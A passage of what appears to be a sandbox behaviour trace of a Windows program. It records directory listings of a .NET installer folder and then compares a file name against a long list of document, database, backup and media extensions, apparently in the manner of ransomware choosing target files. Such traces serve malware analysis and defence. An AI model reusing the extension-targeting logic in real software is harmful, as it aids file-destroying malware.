ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260840 [0050.580] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.580] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico", cAlternateFileName="")) returned 1 [0050.580] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1 [0050.580] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1 [0050.581] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1 [0050.581] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1 [0050.581] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1 [0050.581] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1 [0050.581] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1 [0050.581] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1 [0050.581] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico", cAlternateFileName="")) returned 1 [0050.582] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico", cAlternateFileName="")) returned 1 [0050.582] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico", cAlternateFileName="")) returned 1 [0050.582] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1 [0050.582] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1 [0050.582] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 1 [0050.582] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 0 [0050.582] FindClose (in: hFindFile=0x4260840 | out: hFindFile=0x4260840) returned 1 [0050.583] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c71240 | out: hHeap=0x6a0000) returned 1 [0050.583] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp", cAlternateFileName="")) returned 1 [0050.583] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1 [0050.583] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1 [0050.584] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1 [0050.584] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended.mzz", cAlternateFileName="NETFX_~2.MZZ")) returned 1 [0050.584] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1 [0050.584] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1 [0050.588] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ParameterInfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0050.589] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1 [0050.619] lstrlenW (lpString="RGB9RAST_x64.msi") returned 16 [0050.619] lstrlenW (lpString=".1cd") returned 4 [0050.619] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0050.619] lstrlenW (lpString=".3ds") returned 4 [0050.619] lstrcmpiW (lpString1=".3ds", lpString2=".msi") returned -1 [0050.619] lstrlenW (lpString=".3fr") returned 4 [0050.619] lstrcmpiW (lpString1=".3fr", lpString2=".msi") returned -1 [0050.619] lstrlenW (lpString=".3g2") returned 4 [0050.619] lstrcmpiW (lpString1=".3g2", lpString2=".msi") returned -1 [0050.619] lstrlenW (lpString=".3gp") returned 4 [0050.619] lstrcmpiW (lpString1=".3gp", lpString2=".msi") returned -1 [0050.619] lstrlenW (lpString=".7z") returned 3 [0050.619] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0050.619] lstrlenW (lpString=".accda") returned 6 [0050.619] lstrcmpiW (lpString1=".accda", lpString2="64.msi") returned -1 [0050.619] lstrlenW (lpString=".accdb") returned 6 [0050.619] lstrcmpiW (lpString1=".accdb", lpString2="64.msi") returned -1 [0050.619] lstrlenW (lpString=".accdc") returned 6 [0050.619] lstrcmpiW (lpString1=".accdc", lpString2="64.msi") returned -1 [0050.619] lstrlenW (lpString=".accde") returned 6 [0050.619] lstrcmpiW (lpString1=".accde", lpString2="64.msi") returned -1 [0050.619] lstrlenW (lpString=".accdt") returned 6 [0050.619] lstrcmpiW (lpString1=".accdt", lpString2="64.msi") returned -1 [0050.620] lstrlenW (lpString=".accdw") returned 6 [0050.620] lstrcmpiW (lpString1=".accdw", lpString2="64.msi") returned -1 [0050.620] lstrlenW (lpString=".adb") returned 4 [0050.620] lstrcmpiW (lpString1=".adb", lpString2=".msi") returned -1 [0050.620] lstrlenW (lpString=".adp") returned 4 [0050.620] lstrcmpiW (lpString1=".adp", lpString2=".msi") returned -1 [0050.620] lstrlenW (lpString=".ai") returned 3 [0050.620] lstrcmpiW (lpString1=".ai", lpString2="msi") returned -1 [0050.620] lstrlenW (lpString=".ai3") returned 4 [0050.620] lstrcmpiW (lpString1=".ai3", lpString2=".msi") returned -1 [0050.620] lstrlenW (lpString=".ai4") returned 4 [0050.620] lstrcmpiW (lpString1=".ai4", lpString2=".msi") returned -1 [0050.620] lstrlenW (lpString=".ai5") returned 4 [0050.620] lstrcmpiW (lpString1=".ai5", lpString2=".msi") returned -1 [0050.620] lstrlenW (lpString=".ai6") returned 4 [0050.620] lstrcmpiW (lpString1=".ai6", lpString2=".msi") returned -1 [0050.620] lstrlenW (lpString=".ai7") returned 4 [0050.620] lstrcmpiW (lpString1=".ai7", lpString2=".msi") returned -1 [0050.620] lstrlenW (lpString=".ai8") returned 4 [0050.620] lstrcmpiW (lpString1=".ai8", lpString2=".msi") returned -1 [0050.620] lstrlenW (lpString=".anim") returned 5 [0050.620] lstrcmpiW (lpString1=".anim", lpString2="4.msi") returned -1 [0050.620] lstrlenW (lpString=".arw") returned 4 [0050.620] lstrcmpiW (lpString1=".arw", lpString2=".msi") returned -1 [0050.620] lstrlenW (lpString=".as") returned 3 [0050.620] lstrcmpiW (lpString1=".as", lpString2="msi") returned -1 [0050.620] lstrlenW (lpString=".asa") returned 4 [0050.620] lstrcmpiW (lpString1=".asa", lpString2=".msi") returned -1 [0050.620] lstrlenW (lpString=".asc") returned 4 [0050.620] lstrcmpiW (lpString1=".asc", lpString2=".msi") returned -1 [0050.620] lstrlenW (lpString=".ascx") returned 5 [0050.620] lstrcmpiW (lpString1=".ascx", lpString2="4.msi") returned -1 [0050.620] lstrlenW (lpString=".asm") returned 4 [0050.620] lstrcmpiW (lpString1=".asm", lpString2=".msi") returned -1 [0050.621] lstrlenW (lpString=".asmx") returned 5 [0050.621] lstrcmpiW (lpString1=".asmx", lpString2="4.msi") returned -1 [0050.621] lstrlenW (lpString=".asp") returned 4 [0050.621] lstrcmpiW (lpString1=".asp", lpString2=".msi") returned -1 [0050.621] lstrlenW (lpString=".aspx") returned 5 [0050.621] lstrcmpiW (lpString1=".aspx", lpString2="4.msi") returned -1 [0050.621] lstrlenW (lpString=".asr") returned 4 [0050.621] lstrcmpiW (lpString1=".asr", lpString2=".msi") returned -1 [0050.621] lstrlenW (lpString=".asx") returned 4 [0050.621] lstrcmpiW (lpString1=".asx", lpString2=".msi") returned -1 [0050.621] lstrlenW (lpString=".avi") returned 4 [0050.621] lstrcmpiW (lpString1=".avi", lpString2=".msi") returned -1 [0050.621] lstrlenW (lpString=".avs") returned 4 [0050.621] lstrcmpiW (lpString1=".avs", lpString2=".msi") returned -1 [0050.621] lstrlenW (lpString=".backup") returned 7 [0050.621] lstrcmpiW (lpString1=".backup", lpString2="x64.msi") returned -1 [0050.621] lstrlenW (lpString=".bak") returned 4 [0050.621] lstrcmpiW (lpString1=".bak", lpString2=".msi") returned -1 [0050.621] lstrlenW (lpString=".bay") returned 4 [0050.621] lstrcmpiW (lpString1=".bay", lpString2=".msi") returned -1 [0050.621] lstrlenW (lpString=".bd") returned 3 [0050.621] lstrcmpiW (lpString1=".bd", lpString2="msi") returned -1 [0050.621] lstrlenW (lpString=".bin") returned 4 [0050.621] lstrcmpiW (lpString1=".bin", lpString2=".msi") returned -1 [0050.621] lstrlenW (lpString=".bmp") returned 4 [0050.621] lstrcmpiW (lpString1=".bmp", lpString2=".msi") returned -1 [0050.621] lstrlenW (lpString=".bz2") returned 4 [0050.621] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0050.621] lstrlenW (lpString=".c") returned 2 [0050.621] lstrcmpiW (lpString1=".c", lpString2="si") returned -1 [0050.621] lstrlenW (lpString=".cdr") returned 4 [0050.621] lstrcmpiW (lpString1=".cdr", lpString2=".msi") returned -1 [0050.621] lstrlenW (lpString=".cer") returned 4 [0050.621] lstrcmpiW (lpString1=".cer", lpString2=".msi") returned -1 [0050.621] lstrlenW (lpString=".cf") returned 3 [0050.622] lstrcmpiW (lpString1=".cf", lpString2="msi") returned -1 [0050.622] lstrlenW (lpString=".cfc") returned 4 [0050.622] lstrcmpiW (lpString1=".cfc", lpString2=".msi") returned -1 [0050.622] lstrlenW (lpString=".cfm") returned 4 [0050.622] lstrcmpiW (lpString1=".cfm", lpString2=".msi") returned -1 [0050.622] lstrlenW (lpString=".cfml") returned 5 [0050.622] lstrcmpiW (lpString1=".cfml", lpString2="4.msi") returned -1 [0050.622] lstrlenW (lpString=".cfu") returned 4 [0050.622] lstrcmpiW (lpString1=".cfu", lpString2=".msi") returned -1 [0050.622] lstrlenW (lpString=".chm") returned 4 [0050.622] lstrcmpiW (lpString1=".chm", lpString2=".msi") returned -1 [0050.622] lstrlenW (lpString=".cin") returned 4 [0050.622] lstrcmpiW (lpString1=".cin", lpString2=".msi") returned -1 [0050.622] lstrlenW (lpString=".class") returned 6 [0050.622] lstrcmpiW (lpString1=".class", lpString2="64.msi") returned -1 [0050.622] lstrlenW (lpString=".clx") returned 4 [0050.622] lstrcmpiW (lpString1=".clx", lpString2=".msi") returned -1 [0050.622] lstrlenW (lpString=".config") returned 7 [0050.622] lstrcmpiW (lpString1=".config", lpString2="x64.msi") returned -1 [0050.622] lstrlenW (lpString=".cpp") returned 4 [0050.622] lstrcmpiW (lpString1=".cpp", lpString2=".msi") returned -1 [0050.622] lstrlenW (lpString=".cr2") returned 4 [0050.622] lstrcmpiW (lpString1=".cr2", lpString2=".msi") returned -1 [0050.622] lstrlenW (lpString=".crt") returned 4 [0050.622] lstrcmpiW (lpString1=".crt", lpString2=".msi") returned -1 [0050.622] lstrlenW (lpString=".crw") returned 4 [0050.622] lstrcmpiW (lpString1=".crw", lpString2=".msi") returned -1 [0050.622] lstrlenW (lpString=".cs") returned 3 [0050.622] lstrcmpiW (lpString1=".cs", lpString2="msi") returned -1 [0050.622] lstrlenW (lpString=".css") returned 4 [0050.622] lstrcmpiW (lpString1=".css", lpString2=".msi") returned -1 [0050.622] lstrlenW (lpString=".csv") returned 4 [0050.622] lstrcmpiW (lpString1=".csv", lpString2=".msi") returned -1 [0050.622] lstrlenW (lpString=".cub") returned 4 [0050.622] lstrcmpiW (lpString1=".cub", lpString2=".msi") returned -1 [0050.623] lstrlenW (lpString=".dae") returned 4 [0050.623] lstrcmpiW (lpString1=".dae", lpString2=".msi") returned -1 [0050.623] lstrlenW (lpString=".dat") returned 4 [0050.623] lstrcmpiW (lpString1=".dat", lpString2=".msi") returned -1 [0050.623] lstrlenW (lpString=".db") returned 3 [0050.623] lstrcmpiW (lpString1=".db", lpString2="msi") returned -1 [0050.623] lstrlenW (lpString=".dbf") returned 4 [0050.623] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0050.623] lstrlenW (lpString=".dbx") returned 4 [0050.623] lstrcmpiW (lpString1=".dbx", lpString2=".msi") returned -1 [0050.623] lstrlenW (lpString=".dc3") returned 4 [0050.623] lstrcmpiW (lpString1=".dc3", lpString2=".msi") returned -1 [0050.623] lstrlenW (lpString=".dcm") returned 4 [0050.623] lstrcmpiW (lpString1=".dcm", lpString2=".msi") returned -1 [0050.623] lstrlenW (lpString=".dcr") returned 4 [0050.623] lstrcmpiW (lpString1=".dcr", lpString2=".msi") returned -1 [0050.623] lstrlenW (lpString=".der") returned 4 [0050.623] lstrcmpiW (lpString1=".der", lpString2=".msi") returned -1 [0050.623] lstrlenW (lpString=".dib") returned 4 [0050.623] lstrcmpiW (lpString1=".dib", lpString2=".msi") returned -1 [0050.623] lstrlenW (lpString=".dic") returned 4 [0050.623] lstrcmpiW (lpString1=".dic", lpString2=".msi") returned -1 [0050.623] lstrlenW (lpString=".dif") returned 4 [0050.623] lstrcmpiW (lpString1=".dif", lpString2=".msi") returned -1 [0050.623] lstrlenW (lpString=".divx") returned 5 [0050.623] lstrcmpiW (lpString1=".divx", lpString2="4.msi") returned -1 [0050.623] lstrlenW (lpString=".djvu") returned 5 [0050.623] lstrcmpiW (lpString1=".djvu", lpString2="4.msi") returned -1 [0050.623] lstrlenW (lpString=".dng") returned 4 [0050.623] lstrcmpiW (lpString1=".dng", lpString2=".msi") returned -1 [0050.623] lstrlenW (lpString=".doc") returned 4 [0050.623] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0050.623] lstrlenW (lpString=".docm") returned 5 [0050.623] lstrcmpiW (lpString1=".docm", lpString2="4.msi") returned -1 [0050.623] lstrlenW (lpString=".docx") returned 5 [0050.624] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0050.624] lstrlenW (lpString=".dot") returned 4 [0050.624] lstrcmpiW (lpString1=".dot", lpString2=".msi") returned -1 [0050.624] lstrlenW (lpString=".dotm") returned 5 [0050.624] lstrcmpiW (lpString1=".dotm", lpString2="4.msi") returned -1 [0050.624] lstrlenW (lpString=".dotx") returned 5 [0050.624] lstrcmpiW (lpString1=".dotx", lpString2="4.msi") returned -1 [0050.624] lstrlenW (lpString=".dpx") returned 4 [0050.624] lstrcmpiW (lpString1=".dpx", lpString2=".msi") returned -1 [0050.624] lstrlenW (lpString=".dqy") returned 4 [0050.624] lstrcmpiW (lpString1=".dqy", lpString2=".msi") returned -1 [0050.624] lstrlenW (lpString=".dsn") returned 4 [0050.624] lstrcmpiW (lpString1=".dsn", lpString2=".msi") returned -1 [0050.624] lstrlenW (lpString=".dt") returned 3 [0050.624] lstrcmpiW (lpString1=".dt", lpString2="msi") returned -1 [0050.624] lstrlenW (lpString=".dtd") returned 4 [0050.624] lstrcmpiW (lpString1=".dtd", lpString2=".msi") returned -1 [0050.624] lstrlenW (lpString=".dwg") returned 4 [0050.624] lstrcmpiW (lpString1=".dwg", lpString2=".msi") returned -1 [0050.624] lstrlenW (lpString=".dwt") returned 4 [0050.624] lstrcmpiW (lpString1=".dwt", lpString2=".msi") returned -1 [0050.624] lstrlenW (lpString=".dx") returned 3 [0050.624] lstrcmpiW (lpString1=".dx", lpString2="msi") returned -1 [0050.624] lstrlenW (lpString=".dxf") returned 4 [0050.624] lstrcmpiW (lpString1=".dxf", lpString2=".msi") returned -1 [0050.624] lstrlenW (lpString=".edml") returned 5 [0050.624] lstrcmpiW (lpString1=".edml", lpString2="4.msi") returned -1 [0050.624] lstrlenW (lpString=".efd") returned 4 [0050.624] lstrcmpiW (lpString1=".efd", lpString2=".msi") returned -1 [0050.624] lstrlenW (lpString=".elf") returned 4 [0050.624] lstrcmpiW (lpString1=".elf", lpString2=".msi") returned -1 [0050.624] lstrlenW (lpString=".emf") returned 4 [0050.624] lstrcmpiW (lpString1=".emf", lpString2=".msi") returned -1 